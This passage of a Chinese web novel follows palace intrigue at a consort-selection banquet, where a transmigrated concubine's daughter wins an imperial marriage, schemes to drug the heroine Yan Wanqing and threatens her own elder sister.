这个想法在李呈祥的脑海中瞬间炸开。 不知道是不是察觉到了李呈祥的视线,台子上的女子循着视线看过来。 李呈祥分明看见那面纱之下的红唇冲着自己勾起了一个诡谲的弧度! 一股凉意瞬间爬满了整个脊梁。 明明是酷暑之下,她却好似是置身于寒冬腊月。 她的三妹……不是三妹! 这件事情一定要告诉父亲! 李呈祥强忍住眼眶的示意,她努力呼吸让自己镇定下来,此时众人也慢慢缓过了神,纷纷对李呈媛赞不绝口。 相信经过今日,李三小姐才女的名声便会传遍整个京都。 皇帝听罢双眼热忱,拍手叫绝。 “这首曲子可是你亲自所谱?”皇帝问道。 李呈媛见皇帝先问自己,对于旁边站着的燕晚清看都不看,怡然自得的点头:“回禀陛下,适才即兴所作。” “即兴所作便能有这等神曲?”皇帝惊讶。 李呈媛面颊酡红:“小女学艺不精,多亏郡主舞剑拉着小女进入到了那种萧瑟之感中,这才阴长阳错弹奏出来,献丑了。” 皇帝被她一提醒,这才看见旁边站着的燕晚清。 少女面带白纱,站的笔直,宛若一株坚挺的松树,不骄不躁,哪怕是刚刚舞剑成了陪衬,在她的眼中也经不起一点波澜。 皇帝干咳了一声,说道:“安平舞剑的功力确实不减当年啊。” 张岚依忍不住斜眼看了一样皇帝,她娇笑道:“郡主舞剑当真称得上是翩若惊鸿,这把惊鸿剑,本宫便赏给你了。” 燕晚清执剑谢礼:“谢皇后娘娘赐剑。” “既然皇后赏了安平,那朕便赏赐这李三姑娘吧,如此才情,赐千倾良田,封瑶池县主,赏黄金万两。” 皇帝大手一挥,赏赐便已经说出了口。 在座的一听酒醒了大半。 这李呈媛一首诗一曲琵琶,便赢得了县主的封号。 那剩下的贵女就根本没有再去参选七皇子皇妃的必要了。 皇帝分明已经十分属意这李呈媛了。 “谢陛下恩典!陛下万岁万岁万万岁!”李呈媛放下琵琶,双膝跪地,激动的谢恩。 皇帝高兴不已,又让宫娥们给众人倒上佳酿,宴会气氛再次热络起来。 “江山代有才人出啊,后生可畏,小小女子,竟然有如此才情,朕听闻你最近还在帮助七皇子处理一些军务要事啊。”李呈媛回到位置上后,皇帝笑呵呵的问道。 这话一出,旁边的萧鸿深心里一咯噔。 父皇这是什么意思? “父皇,三小姐她只是——” 皇帝本是被酒水迷醉浑浊的双眼,看向了萧鸿深,他瞬间噤声。 “朕问的是李三小姐。” 萧鸿深咽了一下口水。 李呈媛很想证明自己的能力,于是她状似天真的点了点头:“是的,最近在帮助七皇子殿下研究火石,等完成了能够用于军务之上,只需要小小一管,便可杀百人。” 这话一说,她明显感觉到周身气压低了些许。 等到她去偷偷看皇帝的眼神的时候,又感觉他已经态度温和,像个年纪大的爷爷,让她倍感亲切。 “小小一管,可有具体的量?”皇帝笑着问李呈媛。 第一百四十六章 逼急了狗,跳墙 萧鸿深心中阴沉,只想着李呈媛这个蠢妇不要再说了,但是她就像是没有脑子一样。 只看见她环顾案几上的器物,最后拿起了一个小巧的酒壶,她挂着乖巧讨好的笑容面对着皇帝:“回禀陛下,大致是酒壶这样的量。” 皇帝目光落在那小巧的酒壶上,那一壶的酒下去,他甚至都没有反应。 但是装上李呈媛说的火石,就能瞬息之间杀百人吗? 他忍不住眯起双眼,眸光从萧鸿深的脸上扫过去,看着他额头上冒出密密的冷汗,皇帝再次将目光落在了李呈媛脸上:“若是真有瑶池县主说的这般威力,那么朕扫平北部也不过就是时间的问题了。” 说着他看向了燕晚清:“若是早些时间有火石这个东西,朕的镇国公和威猛大将军也不至于殒命雁门关了。” 燕晚清在皇帝的视线中,低下了头,半张脸在阴影里,看不清楚情绪。 气氛一时之间有些诡谲。 皇帝又说道:“这些,你一个小小女子是如何获得的?背后可有高人指点?” 李呈媛故意卖俏的说道:“瑶池前些时日撞坏了脑子,在鬼门关里走了一趟,昏迷当中看到了一个白衣老道,老道让瑶池拜他为师,学习这些东西,本以为都是梦境,但是醒来之后,确实发现脑子里多了一些不属于自己的东西,火石也是师父教给瑶池的,让瑶池帮助陛下雄霸天下。” “哈哈哈!好一个雄霸天下!”皇帝被这四个字瞬间唤醒了自己的野心。 他深深的看了一眼李呈媛,然后对着萧鸿深说道。 “朕觉得瑶池这个姑娘挺好的,配得上你的皇妃之位,吾儿觉得呢?” 萧鸿深背后的衣襟早就被冷汗浸润湿透。 此番听到皇帝直接赐婚,他来不及多想为什么。 当即便跪下说道:“父皇选中的皇妃,儿臣定然属意,谢父皇给儿臣和瑶池县主赐婚。” “好!”皇帝再次朗声大笑:“今日真是高兴,七皇子的皇妃有了,朕的雄霸天下指日可待,天佑我大渭啊,降下如此奇女,痛快!” 说着他直接赏赐了一座府邸给了李呈媛。 李大人在旁边都要笑开了花,与之形成对比的是礼部的诸位大人眉毛个个拧成了麻花。 皇帝今日此举,实在是太不符合礼数了。 皇后张岚依举着酒杯,笑着去祝贺皇帝,皇帝高兴的搂着她,带着百官在乐曲中开怀畅饮。 李呈媛在声声祝福中,挑衅的看了一眼燕晚清,却见对方回以一微笑。 李呈媛见状冷笑一声。 她可没有忘记,今日早些时候,这个安平郡主可是一点都不可以,让她的随从给了自己一巴掌呢! 此仇不报非女子。 李呈媛唇角微勾。 本来以为要通过一些手段才能绑住七皇子,现在看来没必要了。 她朝着自己的侍女勾了勾手。 “那瓶酒,拿过来。” 侍女自然知道李呈媛说的是什么酒。 她有些害怕,但碍于李呈媛平日里的淫威,还是乖巧的拿了过来。 只看见李呈媛手持着酒壶朝着燕晚清走去。 “恭喜瑶池县主,今日终成最大赢家。”燕晚清见她过来便勾唇说道。 没想到燕晚清直接这般冷嘲热讽,李呈媛回以一个轻笑:“那也是郡主舞剑配合的好,让瑶池能够讨得了陛下的欢心。” “陛下的欢心是讨得了,只是那些贵女可就视你为眼中钉了。”燕晚清意有所指。 李呈媛看着下面那群贵女时不时的看向自己,她根本不在意的说道:“没本事的只能看看,有本事的人从来都是干实事的,不说她们了,今日多谢郡主成全,瑶池给郡主敬一杯。” 她将酒水倒入了两个杯盏中。 看着燕晚清警惕的双眸,李呈媛轻蔑的一笑:“郡主实在是谨慎过头了,众目睽睽之下,给瑶池一百个胆子也不敢对郡主下手啊。”说着她当着燕晚清的面,将其中一盏酒水端起来一饮而尽。 燕晚清没动。 李呈媛见状直接翻了个白眼:“担心酒水有问题是吧?你看着,我喝给你看。” 说着李呈媛将另外一杯酒水也喝了下来。 她自己又仰头喝下了半瓶酒水,再次给杯盏续上酒水后,她脸颊酡红的看着燕晚清挑眉,十足的挑衅:“瑶池过来敬酒不过是想和郡主交好,既然郡主瞧不上瑶池,那就算了,算我自讨没趣。” 说着便转身要走。 燕晚清双眸沉静的看着她,白皙修长的手指落在了一个杯盏上面,她端起酒盏,仰头将酒水喝光。 “不打不相识,县主这般手段和胸襟,也难怪那些贵女不是你的对手,安平万幸,县主选择安平当朋友。” 李呈媛见她喝了酒,面上堆起笑容:“这就对了,不打不相识,郡主好酒量。” 两个人又寒暄了一会儿,李呈媛才走了回去。 燕晚清感觉着身体上没有任何异样,也放松下来。 看来是自己警惕过头了。 这李呈媛必不可能在众目睽睽之下对自己下药的。 她自己也喝了那么多酒水,若是有问题,她也躲不掉。 燕晚清不知道的是,李呈媛在转过身的瞬间,便露出了一个诡谲的笑容,与此同时她身边的侍女消失在了宴会之上。 今日的选妃宴,开始的草率,结束的唐突,所有的一切都好似是被一只大手操控着。 这只大手名为皇权。 朝堂之内话都说不上几句的李家成了一匹黑马,庶女凭借着自己出众的才艺杀出重围,成功被皇帝赐婚七皇子,成了七皇子妃。 大名鼎鼎的安平郡主都在这次宴会之上成了这个庶女的陪衬。 皇帝为了这个女子能够配得上七皇子,还亲封了她为县主,赏金万两,还有封地! 开朝以来,此女子打破了诸多先例,一跃成为了所有人都在津津乐道的人物! 李呈媛三个字,与奇女子彻底挂钩! 李家人也从避暑山庄最偏僻的角落,被挪到了中心的位置。 真是一人得道鸡犬升天。 夜色逐渐深沉,流水宴也接近了尾声。 燕晚清送皇后回寝宫的路上。 张岚依忍不住的叹气说道:“本宫知道你心里想法多,但是犯不着把自己去当做那女子的垫脚石啊。” 燕晚清勾唇,毫不在意的笑道:“娘娘在宫多年,有句话一定是知道的。” 张岚依最不喜欢她这一副老成的模样,站定看着她:“不入虎穴焉得虎子是不是?” 燕晚清点头。 “本宫的意思是,你不必去损害自己的羽翼啊,你这样可知道对自己往后的名声有多大影响?你现在已经许配了北疆小侯爷,连带着对北疆也会有影响的。” 燕晚清点点头,这些她自然是想过的。 但是她要做的事情,比这个更重要。 “其实还有一句话。” 张岚依看着她。 燕晚清双眸内敛:“成王败寇。” 世人大多薄情,只记得最终的赢家,过程是什么不重要,她燕晚清只在乎结果。 今日让李家顺利和萧鸿深结亲,让李呈媛出尽了风头,不过都是她故意为之。 怀疑的种子从上次登闻鼓的事件便埋下了,今日之后,皇帝只会对萧鸿深提防更多。 她只需要等着。 逼急了狗,狗跳墙的那一刻。 第一百四十七章 荒诞梦境,尸体 送皇后回到寝宫之后,燕晚清便打道回府。 路上她看了看身后跟着的人,没有看到李呈祥,便问从歌。 从歌说自从宴会散了之后,便没有再看到李家大小姐了。 燕晚清想了想,今日李家成了最大赢家,她这个嫡长女自然是要回去的。 只是经过这几日,李呈媛在李家的日子怕是更加不好过了。 想到那个姑娘倔强的看着自己,说要跟着自己身边当个丫鬟的情景。 燕晚清心中忍不住叹了一口气。 从歌看着燕晚清,欲言又止。 “说吧,今日宴会上你发现了什么。”从小一起长大,燕晚清自然是知道从歌心里憋着什么话,早在宴会上的时候她就一脸的犹豫。 憋到现在实属不易。 从歌便赶紧将自己看见李呈媛将尚书家连带着其他三个姑娘打了一顿,关进房子的消息告诉了燕晚清。 “主子,那李三姑娘,不对,瑶池县主的做派实在是太让人不能接受了。” 跟个土匪一样! 燕晚清点点头:“这件事情你就当不知道便是。” 从歌乖巧的点了点头。 她只想和自家小姐分享自己发现的秘密,其他人,她才不想分享呢。 回到了住处后,燕晚清开门便闻到了一股子幽香,和之前的不太一样,她没有太在意,以为是从歌又换了新的熏香。 等到脱了衣服走进浴池的时候,她才惊觉自己着了道。 今日,偏偏燕小六说发现了一处无人问津的山涧,带着五妹一起去外出采药去了。 燕晚清有苦难言。 她好似铁饼上被煎熬的鱼肉,大口的喘气。 眼中的冰冷抑制不住的往外溢出。 那酒水果真是有问题的。 李呈媛这个女子,当真是好样的! 听着外面传来的脚步声。 燕晚清冷哼一声:“杀!” 她伸出手扯过衣服,胡乱穿在了身上,然后打开了门,此时红雾正在清理地上的尸体。 燕晚清冷冷的看了一眼地上平庸又龌龊的男子,眼底都是阴翳。 “你知道该怎么办。” 红雾点头。 从哪来的,自然便送到哪里去。 燕晚清从院中走出,几个起跃之后,迎着夜色的冷风,让她稍微舒缓一点。 但是还不够。 药效强劲,她需要更加冰冷的东西来让自己冷静下来。 根据自己的记忆,她又强行提升内力,行至一处冰泉处。 这里便是避暑山庄奥妙所在。 因为这里有一处天然的冰泉,没有人知道这个泉水是如何形成的。 只知道这里常年四季如冬,但是泉水却不被冻住,依然能够流淌。 燕晚清一走进去,便感觉精神一震,稍微清醒了一点。 察觉到四处无人之后,她没有任何犹豫,直接跳入了冰泉之下。 冰冷的泉水瞬间将她包围其中,冻得她牙齿都开始打颤。 可是还不够。 燕晚清感觉自己即将爆体而亡。 她心一狠,从发髻上拔出发簪,用最后一丝清醒的意识,将锋利的尾端对着自己的手腕便要下狠手! 便是这一刻,一只大手从她身后伸出,扣住了她的手腕。 分明是温暖的手掌,可是燕晚清却感觉到瞬间抚平了自己心中的燥意,她迷迷糊糊的抬眼,只看见一双灿若星辰的黑眸看向了自己。 好熟悉…… 她忍不住伸出手去摸他的眼眸。 对方二话不说将她拦腰抱了起来,放在了一旁的玉石之上。 燕晚清只记得自己在梦里浮浮沉沉,做了好些让她羞耻说不出口的事情,可是那般极致的感觉又让她如此痴迷…… 一夜昏沉。 燕晚清从玉床上醒过来的时候,周身的衣服已经干燥了。 她也没有任何不适。 走到冰泉边上看自己。 只觉得双眸之间灿若春水,十分的潋滟。 她不禁用手捂住了红唇。 当真是她自己一个人做了那般怪异的梦吗? 燕晚清有些不敢相信。 她到底是怎么自己从冰泉上爬上玉床的? 她看着水里倒映着的自己,发髻上的发簪已经不知道去了哪里。 可能是掉进了泉水里面。 燕晚清摇了摇头,将脑海中脸红心跳的画面全部甩了出去。 可越不想,她越是觉得昨夜的那些画面全部浮现在自己的眼前。 实在是太过于真实了。 尤其是那双眼睛,和他好像…… 她忍不住心尖有些发酸,酸到自己的眼眶也开始湿润。 大概是自己魔怔了。 他远在北方的战场上,又怎会出现在这里。 将帅无诏而回,那可是死罪。 他那样稳重的人,定不会做出抛下军队肚子回京的举动的。 燕晚清这样想着,缓缓起身,朝着外面走去。 她真是痴心妄想了。 只是越往前走,她还是觉得自己的身体有一些异样。 与此同时,能够感受到身后一直有一双目光盯着自己。 燕晚清猛地回过头。 被注视的感觉瞬间淡了下去。 她微微蹙眉。 当真是她的一场荒诞的梦? …… 李呈媛是被吓醒的。 她醒过来的时候,床榻上有一躯男子的尸体。 分明就是她派过去打算对燕晚清行不轨的那名随从。 现在这个人死了! 李呈媛按捺住自己猛烈跳动的心跳。 伸出手去查看了一下男子是如何死的。 一刀割喉,伤口平滑,足以说明对方是个高手。 这也不足以奇怪,堂堂安平郡主,身边有几个守卫,也是很正常的。 昨夜她喝的有点多,所以便睡得有些死,根本没有注意到对方是如何将这躯尸体丢在自己的床榻上的。 倘若对方想要对自己下死手的话,她岂不是没命活了? 李呈媛不由得有些后怕。 后悔自己的鲁莽和大意。 看来这次事情之后,她需要在自己身边养一些手下了。 李呈媛从床榻上下去。 回首再去看床榻上的尸体,她冷哼一声。 这个安平郡主当真是睚眦必报的。 竟然让人将尸体丢到了自己的床榻上来了。 来而不往非礼也。 “来人。”李呈媛堂而皇之的开口。 外面的侍女走了进来。 她走近李呈媛:“小姐,有何吩咐。” 李呈媛看了她一眼,目光冰冷,抬手对着她的后脑勺便是无情一个手刃。 然后她将侍女丢在了自己的床榻上,将他们二人的衣服扒掉,紧接着自己穿戴好,又给自己化了个疲惫的妆容,装作是刚从外面回来的样子,紧接着尖叫出声。 她生怕别人听不见,叫的很大声。 刚被皇帝封的瑶池县主的院子出了事情,侍从们自然是要注意的,很快便乌泱泱涌来了一大批人。 李呈媛捂住嘴,脸色苍白的跌坐在门边,手指着里面,整个人楚楚可怜。 李大人听到声音赶紧赶了过来。 他上前扶住自己的女儿,又看向屋内,勃然大怒:“这成何体统!这两个下人怎么回事?!” 李呈媛捂住唇,双眼含泪,仿佛深受屈辱。 “昨夜从宴会回来之后,女儿不胜酒力便直接去了隔壁房间休息,今日早晨醒来一进门就发现,发现——”她泣不成声。 李大人赶紧将她揽在怀中,小心安抚。 “你不要难过,这件事情父亲定会替你做主的。” 李大人让人去将床榻上的两个捞起来,侍卫们上前先去把男子捞起来,才发现人已经死了。 就在此时那侍女慢慢醒过来。 她揉着后脑勺睁开了眼睛,入眼便是一群侍卫盯着自己看,再看自己身上不着寸缕,吓得她失声尖叫,将被褥疯狂往自己身上揽,又看到了被褥上的血水! 那侍卫手里分明还捞着一个尸体! 可怜的侍女刚醒过来,又瞬间晕了过去。 李大人看到这种情况,觉得面上无光,直接摆摆手:“把这两个人弄下去!” 这件事情要是闹到了陛下的耳朵里,指不定要怎么想他闺女呢。 李大人心里愁的不行。 就听见李呈媛伤心欲绝的说道:“女儿自知昨日出了风头,让人心中记恨,只是这人实在是太过于狠辣了,竟然在女儿的床榻上做出这种事情,还好女儿昨日没有回到屋子里,真是女儿命大……” 这话一出来,李大人瞬间茅塞顿开。 是的,一定是有人要害李呈媛,害他们李家! “严惩!老夫一定要抓到罪魁祸首,严惩不贷!” 第一百四十八章 妖物,今非昔比 李呈媛说这话本就是让外面人听听,也不是真的想让父亲去追究的。 这件事情说到底还是她自己先挑起的。 那燕晚清向来行事诡谲,今日这件事情就足以给她提个醒了。 李呈媛不敢再去硬碰硬了。 她这样想着,便听见外面有人说七皇子殿下来了,她下意识捏紧了自己父亲的衣襟:“父亲……” 李大人也是紧张不已。 这件事情再怎么说和自己的女儿没关系,但也确实发生在她的房间里。 昨日刚刚赐婚,今日便发生了这种事情。 李大人看见萧鸿深越走越近,心中十分的忐忑。 七皇子面色还算平静,他冲着李大人点了点头,目光柔和的看向李呈媛:“没吓坏你吧?” 李呈媛对于萧鸿深突如其来的温柔,有些不适应,她愣了一下,摇了摇头:“还好。” “本殿的侍卫巡查的时候抓到了一个鬼鬼祟祟的人。”萧鸿深挥手,侍卫们便带上来一个浑身鲜血淋漓,进气明显还不如出气多的男子上来:“审问了,罪魁祸首就是他。” 七皇子恍若天降,将犯人绳之以法,给足了李家三小姐安全感。 但是李呈媛心里十分忐忑。 这件事情究竟是什么情况,在座的没有人比她更清楚。 所以当萧鸿深带了个满身是血的男子上来的时候,她就知道,这是萧鸿深给自己找场子来了。 这件事情传出去,第一个面上无光的便是他七皇子。 但是他能够及时赶来,李呈媛心里还是十分感动的。 这也能说明,他萧鸿深心里也是有自己的。 就在这时,萧鸿深拉住了自己的手:“本殿来了,别怕。” 手上传来的触感,让李呈媛心跳漏了半拍。 她摇了摇头:“……没事。” “那就好。” 萧鸿深勾了勾唇,然后看向李大人:“这件事情便交给本殿处理吧,李大人就不用费心了。” 李大人颇为满意的看着萧鸿深从容的将这件事情处理结束,在众人面前给足了自己面子,也保全了李呈媛。 当下,他对于皇帝的赐婚更加感激了。 等到事情处理结束后,萧鸿深和李呈媛分别,他才忍不住跟墨山要来了帕子,用力的擦拭自己的双手,直到手背上都是红印。 “蠢货。” 萧鸿深忍不住骂道。 果然,刚刚的温柔都是装的。 他只觉得李家很麻烦。 墨山亦步亦趋的跟在他的身后。 萧鸿深回过身去,直接二话不说,一拳打在了墨山的腹部。 墨山一个不妨,痛吟出声。 萧鸿深冷冷的看了她一眼:“自己去处理伤口。” 这一拳,他用了八成的力气,墨山忍不住喊出声也是正常的。 墨山捂着腹部,视线里面,是萧鸿深拳头上缠绕的帕子。 上面有一朵兰花,是她一针一线绣上去的。 “……诺。” 墨山听见自己的声音,惨淡的像是要被这夏日里不起波澜的风吹褪色一样。 萧鸿深不管不顾的朝前走去,眼里是化不开的浓墨。 李家是父皇塞给他的烫手山芋。 都是因为李呈媛这个蠢货,将火石的事情告诉了父皇,不然怎么会突然天降一个赐婚。 吟诗作对又如何? 会弹琵琶又如何? 火石才是关键! 父皇无非也是看中了李呈媛这一点,才会将自己作为彩头给了李家。 不然凭借着李呈媛的出身,给他做妾室都不配。 简直是奇耻大辱! 他的正妻,应该是像燕晚清那般出身名门的女子才对! 哪里是李呈媛这种不干不净的货色可以配得上的。 越想萧鸿深越气。 “庶女,竟然又是庶女!”他低声骂道,脚步越走越快。 另外一边,经历了事情风波的李家众人正在正厅里休憩。 李大人惊魂甫定,叹了一口气:“这次多亏了七皇子啊。” 李呈媛心里藏着事情,只得应付自己父亲的话:“是啊。” 此时李呈祥从外面慢吞吞的走了进来,她颤颤巍巍的走了进来,还没有完全进来,脚边便砸了一个水杯,滚烫的茶水瞬间浸润到她的鞋上,烫的她惊呼一声。 李大人冷着脸看着她,手上的杯盏已经消失不见,显然刚刚是他下的手。 李呈祥站在门边,进也不是,出也不是。 唯唯诺诺的喊道:“父亲……” “你可知现在是什么时辰?!你竟然睡到现在才起?!” 李呈祥不吭声了,她将自己的袖子往下拉,遮盖住手背上的伤痕累累。 昨日她将自己发现三妹不是三妹的事情告诉了父亲,却挨了一顿毒打,又罚了她抄女戒,抄了整整二十遍,天快亮的时候,她才抄完,睡下没多久便疼醒了,但是听父亲的意思,刚刚似乎发生了什么。 “你来做什么?” 李大人看着李呈祥就浑身来气。 昨天竟然说自己的三妹是妖物。 这哪里是一个长姐能够说得出来的话。 李呈媛哪里是妖物?! 分明是他们老李家的福星! 所以昨日他气不过便用了鞭子狠狠的抽了李呈祥一顿,让她胡言乱语。 李呈祥见父亲不待见自己,只得从袖子里取出那二十遍女戒,小声说道:“回禀父亲,抄好了。” 李大人还没说话,一旁的李呈媛来了劲。 她起身走了过来,一把拿走了那叠纸张。 “父亲也真是狠心,竟然让阿姐抄了整整二十遍。” 李大人看着李呈媛说道:“谁让她昨日胡言乱语的。” “哎呀呀父亲,阿姐不过是前阵子没了夫婿,昨日又见女儿我得了陛下的赐婚,一时之间激动不已,所以这才胡言乱语的,这有什么?父亲可不要再责罚阿姐了。” 李呈祥听完咬住了自己的下嘴唇。 李呈媛这根本不是在帮自己说话,是在拱火。 果然,李大人听完,怒气冲冲的站起来:“你妹妹成了七皇妃,对于我们李家来说那是无上荣耀,没有你妹妹,你和我今日能来避暑山庄吗?能够住上这般好的院子吗?!为父劝你识趣点,不要阻拦你妹妹,否则将你打死都不解气。” 说着他又抬手,李呈祥吓得缩了缩脖子。 李大人见状,冷哼一声:“听到没有!” 李呈祥点了点头:“听到了父亲。” 看到李呈祥终于听话,李大人心情好了点,他对着李呈媛说道:“今日几位大人约了父亲我吟诗作对,你可能干帮父亲提前准备几首诗啊?” 李呈媛知道李大人这是想出去显摆,摆明自己是虎父无犬女,所以她将自己之前准备好的诗集交给了李大人:“这些都是女儿最近所做,父亲大人选几首便是。” 李大人接过诗集,越看越惊喜。 他点了点头:“好啊,好啊,果然是为父的好女儿,如此才情当真称得上是才女二字,比上那安平郡主也惶不多让啊。” 安平郡主四个字出现在李呈祥的耳边,她麻木的瞳孔里闪了闪一道亮光,但是很快又暗淡下去。 就算告诉她又能怎样? 哪怕是在她身边当一个婢女……她都不同意。 又怎么会来插手管自己的闲事呢。 都是因为自己,郡主才会和三妹产生隔阂。 李呈祥心中悲痛,她不应该再去给郡主添麻烦了。 等到李大人终于走了。 李呈媛将手里的纸张,直接往天上一撒,不少落在了地上的茶水上面,茶渍很快将字迹浸润成一团团墨点。 李呈祥没动。 “你想干什么?”她抬头看向自己的三妹。 这一刻,她真的不认识眼前的女子。 哪怕是从小一起长大,可是除了那张还算熟悉的面容。 她看不到这个女子身上有任何一丝三妹存在的痕迹。 李呈媛走到李呈祥面前,她冷笑道:“听说,你昨日跟父亲说我是个妖物?” 李呈祥瞳孔骤缩。 父亲告诉了她。 父亲竟然什么都告诉了她! 李呈媛笑的放肆,声音越来越大,越来越尖锐。 “对,没错。”李呈媛点头。 李呈媛双眸颤抖:“你……”她只觉得喉咙梗的生疼。 “你说出来的话,谁信呢?”李呈媛在屋内转了个圈:“我是个活生生的人,是你的三妹,是父亲的好女儿,是陛下亲封的七皇子妃……我可以是任何角色,但是唯独不可能是你嘴里的东西。” “李呈祥。”李呈媛双眼狠厉,宛若魔鬼:“我的好阿姐,三妹今非昔比,你最好管住你的嘴,不然你应该知道我的手段的。” 第一百四十九章 来日方长,做个见证 李呈祥看着面前的女子,她浑身冰冷。 李呈媛似乎很满意她现在的状态,轻笑道:“所以阿姐,乖乖的,我会留你一条小命的。” 说着她用手拍了拍李呈祥的脸,眼底都是狠厉。 “现在这些女戒已经不能看了,可怜阿姐又要重新抄一份交给父亲了。” 说着她得意洋洋的走了出去。 只留下李呈祥一个人站在原地。 分明是正午的日头,可是这一刻她恍若置身于冰窖之中,无人能够将她从深渊之中拖拽出来。 李呈媛从屋内走出来,心里盘算的却是燕晚清那边。 昨日她将药下在酒水里面,为了获取燕晚清的信任,自己也喝了大半。 可是安平郡主聪明一世绝不会想到,单独喝酒是没用的,还需要一味熏香,二者结合,便会触发剧烈的药性。 所以看着燕晚清喝下了酒,她便让侍女去她的屋子里重新布置了熏香。 虽然派过去的男子是死了,可是她的药要怎么解呢? 不解,那可是要人命的东西。 李呈媛唇角泛着阴毒的笑容。 与燕晚清订婚的北疆小侯爷还没有回京。 到现在没有传出安平郡主出事的消息,昨夜也没有看见太医院的人过去,那么只能说明一个问题。 燕晚清昨夜和男子在一起。 啧啧啧…… 冰清玉洁的安平郡主,竟然靠着男子解了毒。 李呈媛越想越觉得兴奋,这个认知让她直接掐住了燕晚清的命脉。 只要拿着这个把柄,那博古通今的女诸葛,岂不是任由她拿捏? “安平郡主和皇后交好,那往后宫内陛下和皇后都不会与我为难了。”李呈媛轻哼,伸出手在日光之下,白皙纤细,她眼角都是得意:“既然这安平郡主还有用,那么暂时就不要你的性命了。” 拿捏燕晚清,比杀了她更加刺激。 毕竟贞洁这个东西,在古代女子的眼中,那可是比性命都要重要的东西。 另外一边。 燕晚清正在看北部的地形图,从歌在外面敲门:“小姐,瑶池县主派人来请您过去。” “进来吧。”她将地形图收起来,让从歌进来说话:“可有说是为何?” “只说是刚做了一批冰镇的甜点,还请了其他家的贵女,让过去试吃。”从歌将刚刚丫鬟的话传达出来。 燕晚清看着窗外的树影婆娑,托着香腮。 “有意思。” 她眼里闪过一丝杀意。 是吃甜点还是想看看她的情况,又或者是想要趁这个机会威胁她呢? 从歌想到昨日那瑶池县主的做派,有些不喜:“要不不去了?” 燕晚清摇了摇头:“得去。” 从歌不解:“不过是个县主,小姐是可以不去的。” “她昨日得了陛下的亲封,此一时彼一时,我若是今日不去,你信不信她晚上便会将这件事情告到陛下面前。” “确实是那县主能干得出来的事情。”从歌没法:“分明是冲着小姐过来的,谁都知道昨日她压了小姐一头,今日定是又要冷嘲热讽了。” “冷嘲热讽倒是没有什么关系。”怕就怕她李呈媛醉翁之意不在酒。 燕晚清起身张开了手:“更衣吧从歌,随小姐我去会会这瑶池县主。” 不得不说,水涨船高。 平日里冷情的宅院里,经过昨日,此刻已经是门庭罗雀。 从歌将准备好的礼物交给宫娥,燕晚清便带着她走了进去。 此时屋内乌泱泱坐了一众女眷,燕晚清认出来了,都是昨日参加七皇子选妃的贵女们。 李呈媛将这些人全部邀请过来。 贵女们虽然面上都挂着笑意,不过谁都看得出来,心里是有几分不舒服的。 对于李呈媛这种落井下石的行为,她们嗤之以鼻。 “见过郡主。”贵女们起身给燕晚清行礼,燕晚清回了礼。 便看见被几家姑娘包围着的李呈媛,如沐春风的走了过来。 “总算是等来了郡主。”李呈媛意味深长的上下打量了一下燕晚清:“一日不见,郡主越发美艳了。” 燕晚清知道她在暗示什么,粉唇轻启微勾:“瑶池县主人逢喜事精神爽,不及县主三分。” “郡主过来了,阿姐还不快点将甜点送上来让郡主品鉴一下。”李呈媛抬高声音说道。 一会儿便看见李呈祥端着盘子走过来了。 这种场合,李呈祥身为李家的嫡长女,理应和诸位贵女一样在这儿坐着,但是此时此刻却和宫娥一样,端着盘子服侍着李呈媛。 “郡主请用。”李呈祥温顺的说道。 盘子上一份白瓷小碗,下面是晶莹剔透的汤水,上面点缀着些许果肉,五颜六色的,闻着便是扑面而来的一股子甜味和冰爽感,在炎炎夏日里看着就十分可口。 燕晚清的目光从甜点上挪开,余光扫过李呈祥袖子口露出来的一块红痕上面,然后不动声色的收回了目光。 “郡主来了例假,不能用冰镇的甜点。”从歌在一旁轻声的说道。 李呈媛一眼就认出这是当时给了自己一巴掌的丫鬟。 她皮笑肉不笑道:“那实在是可惜了,既然郡主不能享用,你便用了吧,总不能主仆二人都来了例假吧。” 说着她和周边的贵女一起噗嗤笑了出来。 从歌从未见过哪家的贵女如李呈媛这般小肚鸡肠的,她不能让自家小姐为难,所以燕晚清还未出声,从歌便端过那碗甜点一口吃下。 滋味确实是不错,吃完口齿生津,还留有果香。 但是从歌心里依旧觉得这碗东西不干净。 旁边的李呈祥悄悄的朝着她摇了摇头,从歌这才放下心来。 信不过李呈媛,但是李家大小姐还是可以信任的。 从歌心里稍微安定了些。 李呈媛注意到了李呈祥的动作,心中冷哼,看来今日的警告还是不到位。 不过没有关系。 来日方长。 今日她特意将所有人都聚集在一起,一方面是想给这群古代的女子提个醒,不要再将目光放在七皇子身上,她李呈媛可不希望在有些不长眼的女的倒贴上去,到时候自己脑袋上绿油油一片。 七皇子萧鸿深既然是她的未婚夫了,从前她不在乎,但是从今天开始,他的身边只能有她一个人。 另外一件事情,也就是想要看看燕晚清的情况。 看她眉间有些许疲惫之色,身边的贴身丫鬟又说她来了例假,李呈媛却怎么看都不像。 不过没有关系,时间还长,她能够试探的出来。 想到这里,李呈媛露出一抹温和的笑容来:“郡主上座,今日请郡主过来,也是想要郡主做个见证。” “什么见证?”燕晚清跟着李呈媛往位置上去。 只听见她说道。 “瑶池三生有幸得到了陛下的青睐,能够被赐婚给七皇子,今日聚集诸位姐妹,也是想要把这份好运带给大家,希望诸位都能够获得好姻缘,所以便自作主张邀请了一些青年才俊,这会儿人应该都在前厅了,姐妹们若是有看对眼的,尽管和瑶池讲,瑶池会帮助姐妹们去陛下面前求赐婚的,有郡主在这里做个见证,大家也不怕瑶池赖账是不是……” 第一百五十章 求冰,自有对策 莫名其妙! 所有人的第一反应就是这个。 且不说李呈媛这个瑶池县主有多少水分在里面,光是她说的要给贵女们请旨赐婚这件事情,就让人觉得匪夷所思。 在座的身份尊贵的大有人在,今日前来也不过是卖她李呈媛一个面子,谁曾想会遇到这种事情。 而且还在没有通知她们的情况下,私自请了外男。 可是碍于燕晚清这个安平郡主在这里,贵女们一时之间摸不清楚,这件事情到底和她有没有关系。 倘若是有关系,皇后娘娘都没有发话,又如何轮得到她燕晚清? 倘若无关,这盆子脏水泼下去,安平郡主可是很难摘得干干净净的。 所以这也是不少人没有甩脸子,选择留下来继续观察的原因。 毕竟京都富贵闲人多,贵女们平日里无事可做,最爱看这种人与人之间的小把戏。 眼见着李呈媛将话都说了出来。 众人将目光落在了燕晚清的身上。 只见她缓缓的落座于主位之上,一副镇定自若的模样。 “……三妹,此事多有不妥。”无人说话,李呈祥硬着头皮开口了。 只刹那,李呈媛那冰冷的目光便落在了她的身上。 李呈祥瞬间回想起今日与她的那番话来,一时之间怔在原地。 